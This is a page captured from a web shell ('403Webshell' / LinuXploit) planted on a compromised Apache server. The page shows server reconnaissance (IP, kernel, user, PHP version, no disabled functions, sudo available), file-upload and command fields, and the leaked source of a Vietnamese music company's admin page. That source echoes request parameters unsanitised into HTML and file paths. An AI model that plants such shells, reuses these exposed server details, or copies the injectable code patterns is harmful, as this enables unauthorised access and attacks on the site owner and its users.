403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.121
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/rubymnik/public_html/admin2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rubymnik/public_html/admin2/nhactusanxuat.php
<?php
include '../configchannel.php';
include 'configtotal.php';
$path    = 'nhacsanxuat';
$files = scandir($path);
$listfile = null;
$folder = null;
for($i = 2; $i < count($files); $i++)
{
	$pathtrong = 'nhacsanxuat/' . $files[$i];
	$filestrong = scandir($pathtrong);
	$listfileinfolder[] = array("folder" => $files[$i], "path" => $filestrong);
	if($_GET['folder'] == $files[$i])
	{
		$listfile = $filestrong;
		$folder = $files[$i];
	}
	else if($listfile == null)
	{
		$listfile = $filestrong;
		$folder = $files[$i];
	}
}
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta name="description" content="A fully featured admin theme which can be used to build CRM, CMS, etc.">
        <meta name="author" content="Coderthemes">

        <link rel="shortcut icon" href="assets/images/favicon_1.ico">

        <title>Ruby Media</title>

        <!--Morris Chart CSS -->
		<link href="assets/plugins/custombox/css/custombox.css" rel="stylesheet">

        <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/core.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/components.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/icons.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/pages.css" rel="stylesheet" type="text/css" />
        <link href="assets/css/responsive.css" rel="stylesheet" type="text/css" />

        <!-- HTML5 Shiv and Respond.js IE8 support of HTML5 elements and media queries -->
        <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
        <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
        <![endif]-->

        <script src="assets/js/modernizr.min.js"></script>
        <script>
		var phantuTruoc = "";
		function playAudio(phantu) { 
			try {
				var x = document.getElementById(phantuTruoc); 
				document.getElementById(phantuTruoc + "_icon").setAttribute("class", "md md-play-arrow");
				document.getElementById(phantuTruoc + "_changed").setAttribute("onclick", "playAudio('"+phantuTruoc+"')");
				x.pause(); 
			}
			catch(err) {
			}
			phantuTruoc = phantu;
			var x = document.getElementById(phantu); 
			document.getElementById(phantu + "_icon").setAttribute("class", "md md-pause");; 
			document.getElementById(phantu + "_changed").setAttribute("onclick", "pauseAudio('"+phantu+"')");
			x.play(); 
		} 

		function pauseAudio(phantu) {
			var x = document.getElementById(phantu); 
			document.getElementById(phantu + "_icon").setAttribute("class", "md md-play-arrow");
			document.getElementById(phantu + "_changed").setAttribute("onclick", "playAudio('"+phantu+"')");
			x.pause(); 
		} 
		</script>
		<script>
			function copyText(id) 
			{
				var copyText = document.getElementById(id); 
				copyText.select();
				copyText.setSelectionRange(0, 99999);
				document.execCommand("copy");
				alert("Đã copy");
			}
		</script>
    </head>


    <body class="fixed-left">

        <!-- Begin page -->
        <div id="wrapper">

            <!-- ========== Left Sidebar Start ========== -->

            <?php  include 'header/taskbar.php'; ?>
            <!-- Left Sidebar End --> 



            <!-- ============================================================== -->
            <!-- Start right Content here -->
            <!-- ============================================================== -->                      
            <div class="content-page">
                <!-- Start content -->
                <div class="content">
                    <div class="container">

                        <!-- Page-Title -->
                        <div class="row">
                            <div class="col-sm-12">
                                <h4 class="page-title">THƯ VIỆN NHẠC</h4>
                                <ol class="breadcrumb">
                                    <li><a href="#">Ruby Media</a></li>
                                    <li class="active">Nhạc Tự Sản Xuất</li>
                                </ol>
                            </div>
                        </div>
						
                        <div class="row">
							<div class="col-sm-12">
								
								<div class="card-box table-responsive">
									<div class="row">
										<div class="col-sm-8">
											<?php
											foreach($listfileinfolder as $key => $item)
											{
												
												?>
												<?php
												$tenfolder = str_replace('_update', '<span style="color: #62ff45;"> (ĐANG SẢN XUẤT) </span>', $item['folder']);
												$tenfolder = str_replace("_", " ", $tenfolder);
													
												?>
												<a href="?folder=<?php echo $item['folder']; ?>" class="badge badge-<?php echo ((isset($_GET['folder']) && $_GET['folder']==$item['folder']) || !isset($_GET['folder']) && $key == 0)? "danger" : "primary" ?>"><?php echo $tenfolder; ?></a>
												<?php
											}
											?>
										</div>
									</div>
								</div>
								<div class="card-box table-responsive">
									<table id="datatable" class="table table-striped table-bordered">
										<thead>
											<tr>
												<th>STT</th>
												<th>Bài Hát</th>
												<th>PLAY</th>
											</tr>
										</thead>
										<tbody>
											<?php $dem = 1; ?>
											<?php for($i = 2; $i < count($listfile); $i++) : ?>
											<?php
												$ext = pathinfo($listfile[$i], PATHINFO_EXTENSION);
												if($ext == "wav" || $ext == "mp3" || $ext == "link") :
												$fileupload = filectime('nhacsanxuat/' . $folder . '/' . $listfile[$i]);
												$timehientai = time() - $fileupload;
												$textlink = null;
												if($ext == "link")
												{
													$textlink = file_get_contents('nhacsanxuat/' . $folder . '/' . $listfile[$i]);
													
												}
											?>
											<tr>
											<td><?php echo $dem++; ?></td>
											<td>
												<?php if(isset($textlink)) : ?>
												
												<a href="<?php echo $textlink; ?>" target="_blank"><?php echo str_replace(".link", "", str_replace(".wav", "", $listfile[$i])); ?></a> 
												<?php else : ?>
												<a href="https://rubymedia.studio/admin/nhacsanxuat/<?php echo $folder; ?>/<?php echo $listfile[$i]; ?>" target="_blank"><?php echo str_replace(".mp3", "", str_replace(".wav", "", $listfile[$i])); ?></a> 
												
												<?php endif; ?>
												<?php
												if($timehientai < 86000)
												{
													echo ' <span style="background: red; color: white; font-weight: bold; text-align: center; ">NEW</span>';
												}
												?>
											</td>
											<td>
												<?php if(isset($textlink)) : ?>
												<a href="<?php echo $textlink; ?>">TRUY CẬP THƯ VIỆN MUSIC</a>
												<?php $textlink = null; ?>
												<?php else : ?>
												<audio controls style="height: 30px;margin-bottom: -11px;margin-top: -5px;">
												  <source src="https://rubymedia.studio/admin/nhacsanxuat/<?php echo $folder; ?>/<?php echo $listfile[$i]; ?>" type="audio/ogg">
												  <source src="https://rubymedia.studio/admin/nhacsanxuat/<?php echo $folder; ?>/<?php echo $listfile[$i]; ?>" type="audio/mpeg">
												Your browser does not support the audio element.
												</audio>
												<?php endif; ?>
											</td>
											</tr>
											<?php endif; endfor;?>
										</tbody>
									</table>
								</div>
							</div>
						</div>
                    </div> <!-- container -->
                               
                </div> <!-- content -->

                <?php  include 'header/footer.php'; ?>

            </div>
            
            
            <!-- Modal -->
			<div id="custom-modal" class="modal-demo">
			    <button type="button" class="close" onclick="Custombox.close();">
			        <span>&times;</span><span class="sr-only">Close</span>
			    </button>
			    <h4 class="custom-modal-title">Thêm Bài Hát</h4>
			    <div class="custom-modal-text text-left">
			        <form role="form" method="POST" enctype="multipart/form-data">
			        	<div class="form-group">
                            <label for="name">Tên Bài Hát</label>
                            <input type="text" class="form-control" name="TenBaiHat" placeholder="Nhập tên bài hát">
                        </div>
                        <div class="form-group">
                            <label for="position">Nhãn</label>
                            <input type="text" class="form-control" name="Label" placeholder="Nhập nhãn">
                        </div>
						<div class="form-group">
                            <label for="position">URL Nhạc</label>
                            <input type="text" class="form-control" name="UrlBaiHat" placeholder="Nhập Url Bài hát">
                        </div>
						<div class="form-group">
                            <label for="position">URL Link MP3</label>
                            <input type="text" class="form-control" name="LinkMP3" placeholder="Nhập Url Link MP3">
                        </div>
						<div class="form-group">
							<label for="position">Nội Dung Kháng</label>
							<input type="text" class="form-control" name="NoiDungKhang" placeholder="Nhập Nội Dung Kháng">
						</div>
						<div class="form-group">
                            <label class="control-label">Hợp Đồng</label>
							<input type="file" class="filestyle" name="fileContract" id="fileContract" data-buttonname="btn-white">
                        </div>
                        <button type="submit" class="btn btn-default waves-effect waves-light">Save</button>
                        <button type="button" class="btn btn-danger waves-effect waves-light m-l-10" onclick="Custombox.close();">Cancel</button>
                    </form>
			    </div>
			</div>
            
            
            
            <!-- /Right-bar -->

        </div>
        <!-- END wrapper -->


    
        <script>
            var resizefunc = [];
        </script>

        <!-- jQuery  -->
        <script src="assets/js/jquery.min.js"></script>
        <script src="assets/js/bootstrap.min.js"></script>
        <script src="assets/js/detect.js"></script>
        <script src="assets/js/fastclick.js"></script>
        <script src="assets/js/jquery.slimscroll.js"></script>
        <script src="assets/js/jquery.blockUI.js"></script>
        <script src="assets/js/waves.js"></script>
        <script src="assets/js/wow.min.js"></script>
        <script src="assets/js/jquery.nicescroll.js"></script>
        <script src="assets/js/jquery.scrollTo.min.js"></script>


        <!-- Modal-Effect -->
        <script src="assets/plugins/custombox/js/custombox.min.js"></script>
        <script src="assets/plugins/custombox/js/legacy.min.js"></script>
		<script src="assets/plugins/bootstrap-tagsinput/js/bootstrap-tagsinput.min.js"></script>
        <script src="assets/plugins/switchery/js/switchery.min.js"></script>
        <script type="text/javascript" src="assets/plugins/multiselect/js/jquery.multi-select.js"></script>
        <script type="text/javascript" src="assets/plugins/jquery-quicksearch/jquery.quicksearch.js"></script>
        <script src="assets/plugins/select2/js/select2.min.js" type="text/javascript"></script>
        <script src="assets/plugins/bootstrap-select/js/bootstrap-select.min.js" type="text/javascript"></script>
        <script src="assets/plugins/bootstrap-filestyle/js/bootstrap-filestyle.min.js" type="text/javascript"></script>
        <script src="assets/plugins/bootstrap-touchspin/js/jquery.bootstrap-touchspin.min.js" type="text/javascript"></script>
        <script src="assets/plugins/bootstrap-maxlength/bootstrap-maxlength.min.js" type="text/javascript"></script>
<script src="assets/plugins/datatables/jquery.dataTables.min.js"></script>
<script src="assets/plugins/datatables/dataTables.bootstrap.js"></script>

<script src="assets/plugins/datatables/dataTables.buttons.min.js"></script>
<script src="assets/plugins/datatables/buttons.bootstrap.min.js"></script>
<script src="assets/plugins/datatables/jszip.min.js"></script>
<script src="assets/plugins/datatables/pdfmake.min.js"></script>
<script src="assets/plugins/datatables/vfs_fonts.js"></script>
<script src="assets/plugins/datatables/buttons.html5.min.js"></script>
<script src="assets/plugins/datatables/buttons.print.min.js"></script>
<script src="assets/plugins/datatables/dataTables.fixedHeader.min.js"></script>
<script src="assets/plugins/datatables/dataTables.keyTable.min.js"></script>
<script src="assets/plugins/datatables/dataTables.responsive.min.js"></script>
<script src="assets/plugins/datatables/responsive.bootstrap.min.js"></script>
<script src="assets/plugins/datatables/dataTables.scroller.min.js"></script>
<script src="assets/plugins/datatables/dataTables.colVis.js"></script>
<script src="assets/plugins/datatables/dataTables.fixedColumns.min.js"></script>

<script src="assets/pages/datatables.init.js"></script>


<script src="assets/js/jquery.core.js"></script>
<script src="assets/js/jquery.app.js"></script>


<script type="text/javascript">
    $(document).ready(function () {
        $('#datatable').dataTable();
        $('#datatable-keytable').DataTable({keys: true});
        $('#datatable-responsive').DataTable();
        $('#datatable-colvid').DataTable({
            "dom": 'C<"clear">lfrtip',
            "colVis": {
                "buttonText": "Change columns"
            }
        });
    });
    TableManageButtons.init();

</script>
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit